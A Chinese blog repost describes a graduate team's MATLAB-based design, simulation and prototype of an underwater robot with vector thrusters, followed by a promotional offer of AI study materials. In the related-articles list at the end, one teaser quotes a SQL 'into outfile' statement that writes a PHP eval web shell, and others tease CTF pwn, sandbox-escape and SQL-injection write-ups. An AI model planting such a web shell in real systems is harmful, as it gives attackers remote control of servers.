拒绝随波逐流!设计与实现可控的水下机器人

news2025/1/24 17:45:35

这个“长着三个触角”的水下机器人看上去是不是很萌?它使用的是一种新型的由三个球形磁耦合矢量推进器组成的推进系统。与传统的水下机器人使用多个固定推进器来实现多自由度(DOF)推进相比,矢量推进器具有多自由度、寄生推力小,以及效率高等优势。

在设计包含多个矢量推进器的水下机器人时,为了实现机器人在水下三维空间中对运动轨迹的精准跟踪,如何设计多推进器的推力布局、运动控制和控制分配等算法,显得十分重要且极具挑战!

面对这些挑战,来自西南石油大学三位研究生黄宇杰、刘里宵和张又文所组成的 MTGA 团队,在王宇副教授的指导下,利用 MATLAB 设计、仿真和实现的水下机器人(如上动画)。他们的作品在 2022 年获得第十七届中国研究生电子设计竞赛 MathWorks 企业专项奖的第一名以及全国二等奖

让我们来进一步看看这个作品的设计和实现细节!

算法设计

针对所采用的磁耦合矢量推进器,团队设计了一种基于遗传算法的推力布局算法(如下图)。这个算法在矢量推进器的复杂非线性约束下,优化三个矢量推进器的安装位置和角度,实现了最大的六自由度解耦广义推力。

图片

利用这个推力布局算法确定三个推进器的安装位置和角度后,团队接下来需要考虑的是如何实现这个水下机器人多个自由度的运动和矢量推进,为此他们需要设计运动控制系统对三个电机和六个舵机的进行协同控制。

为了达到稳定的运动控制,团队将水下机器人多自由度运动解耦到水平面和垂直深度上分别进行:在垂直深度上,采用PID控制算法;在水平面上采用的是基于Lyapunov函数的反步法,并采用RBF神经网络对执行器输出饱和进行补偿。最后利用推进器推力分配模型对每个推进器的电机和舵机进行单独控制,输出所需要的推力。

图片

这其中一个关键步骤是如何得到推进器推力分配模型,也就是由六自由度期望广义推力得到协同控制三个电机和六个舵机的九个控制量。为此,团队定义了一个如下的凸优化问题,其目标是在之前确定的最优推进器布局下,考虑可重构磁耦合推进器的最大重构角和最大推力限制,最小化误差和能量消耗的总和。

团队使用传统的拉格朗日方法来求解这个带有非线性约束条件的凸优化问题,实时得到最优的控制分配方案。他们在MATLAB中进行算法参数调整和实时性优化,保证算法能在可控的迭代次数内实现较好的收敛情况。

图片

系统仿真

MTGA 团队在 MATLAB 中实现了推力布局、运动控制和控制分配等算法后,并建立了 Simulink 模型进行仿真。这使得他们可以在不利用原型进行实验的情况下调试、测试和验证所设计的算法,从而节省时间和成本。

他们所构建的 Simulink 模型包括三个主要模块:控制器、控制分配和基于机器人动力学的被控对象。

图片

每个模块都是使用 Simulink 库提供的模型和少量手写的 MATLAB 函数来构建的。例如,下图展示了他们在 Simulink 中建立的水下机器人的动力学模型。

图片

他们利用 Simulink 仿真得到的水平面下轨迹跟踪结果,您可以看到通过反步法控制得到的运动轨迹基本与参考轨迹重合。 

图片

原型开发

团队不仅构建了 Simulink 仿真系统,还采用如下模块化和基于总线的设计开发了水下机器人原型。他们使用了 Holybro Pixhawk 4(PX4)作为通信和控制计算平台,该平台是基于 Pixhawk FMUv5 项目的开源硬件。PX4 是一个广泛用于开发自主系统的开源平台,特别是用于开发无人机。它最初由  Lorenz Meier 于 2011 年开发,并已发展成为一个庞大的开源社区。

图片

团队并没有再从头手写控制分配算法的 C 代码,而是使用 MATLAB Coder 将 MATLAB 下编写控制分配算法自动转换为 C 代码,然后对代码进行少量修改后将其部署到 PX4 控制器上。这种使用 MATLAB Coder 进行自动代码生成的开发方式节省了他们的开发时间并提高了效率。

水下实验

最后,团队利用所开发的原型进行了一些水下实验来检测算法性能。下图展示了水下机器人原型在泳池中自主跟踪所设定参考轨迹的实验结果。

图片

小结

MTGA 团队利用 MATLAB 设计、仿真和实现了水下机器人。他们结合磁耦合推进器的矢量输出特性,创新性的采用遗传算法为水下机器人布局推进器提供了新思路。在此基础上,通过建立高效的推力分配模型,实现了上层运动控制与底层推进器控制的模块化分离设计。

创新性的设计和富有成果的工作使得 MTGA 团队不仅赢得了第十七届研究生电子设计竞赛的奖项,还同时向我们展示了当代中国研究生的风采!

对于未来的工作,同学们可以试着了解 UAV Toolbox Support Package for PX4® Autopilots (https://ww2.mathworks.cn/matlabcentral/fileexchange/70016-uav-toolbox-support-package-for-px4-autopilots

下载并安装这个支持包后,大家可以直接从 MATLAB 和 Simulink 访问 PX4 的外设,非常方便!此外,借助 Embedded Coder,可以自动将代码或者模型生成 C/C++ 代码,并使用 PX4 工具链构建和部署专门针对 Pixhawk 以及 Pixracer 飞行管理单元的算法。这将有助于同学们运用业界广泛使用的基于模型的设计(https://ww2.mathworks.cn/solutions/model-based-design.html)的开发流程,来实现更高效的系统设计和软件部署。

 免费分享一些我整理的人工智能学习资料给大家,整理了很久,非常全面。包括一些人工智能基础入门视频+AI常用框架实战视频、图像识别、OpenCV、NLP、YOLO、机器学习、pytorch、计算机视觉、深度学习与神经网络等视频、课件源码、国内外知名精华资源、AI热门论文等。

下面是部分截图,加我免费领取

目录

一、人工智能免费视频课程和项目

二、人工智能必读书籍

三、人工智能论文合集

四、机器学习+计算机视觉基础算法教程

最后,我想说的是,自学人工智能并不是一件难事。只要我们有一个正确的学习方法和学习态度,并且坚持不懈地学习下去,就一定能够掌握这个领域的知识和技术。让我们一起抓住机遇,迎接未来!

上面这份完整版的Python全套学习资料已经上传至CSDN官方,朋友如果需要可以点击链接领取 

二维码详情

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1268173.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WARNING: Access control is not enabled for the database.

MongoDB shell version v3.4.24 WARNING: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted. 1)未启用访问控制 2)读写访问不受限制 D:\MongoDB\Server\3.4\bin>mongo MongoDB shell version v3.4.24 c…

BUUCTF刷题之路-pwn-ciscn_2019_n_81

这 题查保护的时候吓了一跳,保护全开。脑子飞速旋转是要我绕过canary,PIE然后再利用栈溢出劫持程序流吗: 然后扔进IDA中查看下大致流程: 大致看出var是个数组,当var[13]17的时候就会得到system。那还不简单直接写payload: from p…

2021年1月19日 Go生态洞察:Go命令行路径安全性的提升

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…

freertos任务调度机制深度分析(以RISC-V架构为例)

1、前言 本文是以RISC-V架构为例进行讲解,在汇编代码层面和ARM架构不一样,但是整体框架是一样的侧重任务调度底层机制讲解,讲解代码只保留了基本功能,可配置的功能基本都已经删除本文是以可抢占式调度机制进行讲解RISC-V架构只支持…

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…

WSDM 2024 | LLMs辅助基于内容的推荐系统增强BPR训练数据

本文提出了一种简单而有效的基于LLMs的图数据增强策略&#xff0c;称为LLMRec&#xff0c;以增强基于内容的推荐系统。LLMRec包含三种数据增强策略和两种去噪策略。数据增强策略包括从文本自然语言的角度挖掘潜在的协同信号, 构建用户画像(LLM-based), 并强化item side informa…

JavaScript 特殊数据类型

JavaScript 特殊数据类型 目录 JavaScript 特殊数据类型 一、空值&#xff08;null型&#xff09; 二、未定义值&#xff08;undefined型&#xff09; 三、转义字符 JavaScript的特殊数据类型有3种&#xff1a; &#xff08;1&#xff09;空值&#xff08;null型&#xf…

【hacker送书第6期】深入理解Java核心技术

第6期图书推荐 内容简介作者简介精彩书评参与方式 内容简介 《深入理解Java核心技术&#xff1a;写给Java工程师的干货笔记&#xff08;基础篇&#xff09;》是《Java工程师成神之路》系列的第一本&#xff0c;主要聚焦于Java开发者必备的Java核心基础知识。全书共23章&#xf…

Go语言基础:包、函数、语句和注释解析

一个 Go 文件包含以下几个部分&#xff1a; 包声明导入包函数语句和表达式 看下面的代码&#xff0c;更好地理解它&#xff1a; 例子 package mainimport "fmt"func main() { fmt.Println("Hello World!") }例子解释 第 1 行&#xff1a; 在 Go 中&am…

nodejs 沙盒逃逸

1.[GFCTF 2021]ez_calc 一道很有意思的一道nodejs的题 沙箱逃逸和绕过&#xff1a; F12 看源码 if(req.body.username.toLowerCase() ! admin && req.body.username.toUpperCase() ADMIN && req.body.passwd admin123){ // 登录成功&am…

sqli-labs靶场详解(less32-less37)

宽字节注入 原理在下方 目录 less-32 less-33 less-34 less-35 less-36 less-37 less-32 正常页面 ?id1 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\ ?id1 看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字…

顺丰JAVA开发一面—面试实战经验分析【已通过】

文章目录 面试总结面试开始项目相关基础知识反问环节 顺丰JAVA开发一面面试过程中的问题确实涵盖了很多方面&#xff0c;从项目架构到基础知识再到具体技术细节都有所涉及。 面试官的提问风格也是比较开放的&#xff0c;注重考察面试者的深度理解和解决问题的能力。以下是对每个…

彩虹云商城搭建教程+源码程序

前言&#xff1a;域名服务器或宝塔主机商场程序在线云商城 随着电子商务的快速发展&#xff0c;越来越多的企业开始意识到开设一个自己的电子商城对于销售和品牌推广的重要性。然而&#xff0c;选择一家合适的网站搭建平台和正确地构建一个商城网站并不是一件容易的事情。本文…

基于Qt MP3音频播放器示例(可制作音频播放器)

​本次MP3文件也给出来,方便大家调试。话不多说直接上源码。 整个项目下载地址:CSDN:GetCode 昵称-》Qt魔术师:https://gitcode.com/m0_45463480/QtMP3/tree/main## .pro # 指定项目类型为应用程序。TEMPLATE = app# 指定项目的名称为musicplayerTARGET = musicplayer# 添…

八、hdfs文件系统副本块数量的配置

1、配置方式 2、实际操作演示 &#xff08;1&#xff09;在Hadoop用户的根目录下创建text.txt文件 &#xff08;2&#xff09;上传文件 hadoopnode1:~$ hdfs dfs -ls hdfs://node1:8020/ Found 4 items drwxr-xr-x - hadoop supergroup 0 2023-11-21 23:06 hdfs:/…

手势识别4:C/C++实现手部检测和手势识别(含源码下载)

手势识别4&#xff1a;C/C实现手部检测和手势识别(含源码下载) 目录 手势识别4&#xff1a;C/C实现手部检测和手势识别(含源码下载) 1. 前言 2. 手势识别模型&#xff08;YOLOv5&#xff09; &#xff08;1&#xff09;手势识别模型训练 &#xff08;2&#xff09;将Pyto…

Java 最全面试总结——3.多线程篇

1、说说Java中实现多线程有几种方法 创建线程的常用三种方式&#xff1a; 继承Thread类实现Runnable接口实现Callable接口&#xff08; JDK1.5> &#xff09;线程池方式创建 通过继承Thread类或者实现Runnable接口、Callable接口都可以实现多线程&#xff0c;不过实现Run…

基于合成数据的行人检测AI模型训练

在线工具推荐&#xff1a; 三维数字孪生场景工具 - GLTF/GLB在线编辑器 - Three.js AI自动纹理化开发 - YOLO 虚幻合成数据生成器 - 3D模型在线转换 - 3D模型预览图生成服务 近年来&#xff0c;自动驾驶汽车因其对社会的广泛影响而越来越受欢迎&#xff0c;因为它们提高…

乱序学机器学习——主成分分析法PCA

文章目录 概览PCA核心思想和原理PCA求解算法PCA算法代码实现降维任务代码实现PCA在数据降噪中的应用PCA在人脸识别中的应用主成分分析优缺点和适用条件优点缺点适用条件 概览 PCA核心思想和原理 PCA求解算法 特征向量表示分布的方向&#xff0c;特征值表示沿着个方向分布的程度…

自动锁螺丝机配件直线模组的作用

直线模组的应用非常广泛&#xff0c;在各种需要高精度、高效率的自动化直线运动的场合都有应用&#xff0c;尤其是在自动锁螺丝机中&#xff0c;起着关键性作用。 1、提供精确的定位和导向&#xff1a;在自动锁螺丝机中&#xff0c;螺丝的拧紧和输送都需要精确控制&#xff0c;…